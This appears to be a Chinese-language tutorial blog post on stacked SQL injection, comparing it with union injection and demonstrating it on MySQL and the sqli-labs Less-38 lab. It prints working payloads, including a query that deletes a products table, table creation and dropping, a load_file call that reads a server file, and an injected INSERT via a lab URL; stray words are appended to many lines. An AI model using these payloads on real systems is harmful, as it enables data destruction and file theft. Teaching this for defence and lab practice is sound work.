Stacked injection 汉语翻译过来后,称 为堆查询注入
,也有称之为堆叠注入
。堆叠注入为攻击者提供了不少的攻击手段,经过添加一个新的查询或者终止查询,能够达到修改数据和调用存储过程的目的。前端
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下咱们在 ; 结束一个sql语句后继续构造下一条语句,会不会一块儿执行?所以这个想法也就造就了堆叠注入。mysql
而 union injection(联合注入)也是将两条语句合并在一块儿,二者之间有什么区别么?区别就在于union 或者union all 执行的语句类型是有限的,只能够用来执行查询语句,而堆叠注入能够执行的是任意的语句。例如如下这个例子。用户输入:1; DELETE FROM products,则服务器端生成的sql语句为:web
Select * from products where productid=1;DELETE FROM products
当执行命令后,第一条显示查询信息,第二条则将整个表进行删除。sql
堆叠注入也有其相对的局限性,并非每个环境下均可以执行,可能受到API或者数据库引擎不支持的限制,固然了权限不足也能够解释为何攻击者没法修改数据或者调用一些程序。数据库
如图:服务器
虽然咱们前面提到了堆叠查询能够执行任意的sql语句,可是这种注入方式并非十分的完美的。在咱们的web系统中,由于代码一般只返回一个查询结果,所以,堆叠注入第二个语句产生错误或者结果只能被忽略,咱们在前端界面是没法看到返回结果的。所以,在读取数据时,仍是建议使用 union(联合)注入。同时在使用堆叠注入以前,咱们也是须要知道一些数据库相关信息的,例如表名,列名等信息。less
由于笔者接触数据库很少,因此下面咱们从MySQL数据库角度出发,介绍一些数据库的基本操做,增删查改,如下列出数据库相关堆叠注入的基本操做。至于其余数据库,你们能够本身实践。测试
select * from user where id = 1;create table test like user;
能够看到,咱们的语句执行成功,再去检查一下表test
是否建立成功。翻译
show tables;
实验显示:表test成功建立。code
select * from user where id=1;drop table test;
再去查看:
show tables;
select * from user where id=1;select 1,user(),database();
select * from user where id=1;select load_file('e:/test.txt');
select * from user where id=1;insert into user(username,password,address,sex,age) values ('范冰冰','123456','北京',2,26);
查看结果:
能够看到,咱们刚刚添加的数据已经写入了数据库。
由下图测试咱们能够看到,只有3条数据:
咱们使用堆叠注入,向该数据表插入一条数据:
http://192.168.26.130/sqli/Less-38/?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’ruoli’) --+
能够看到,数据已经发生了变化,
好了,有时间了我会补充一个CTF中遇到的堆叠注入题材,以示补充。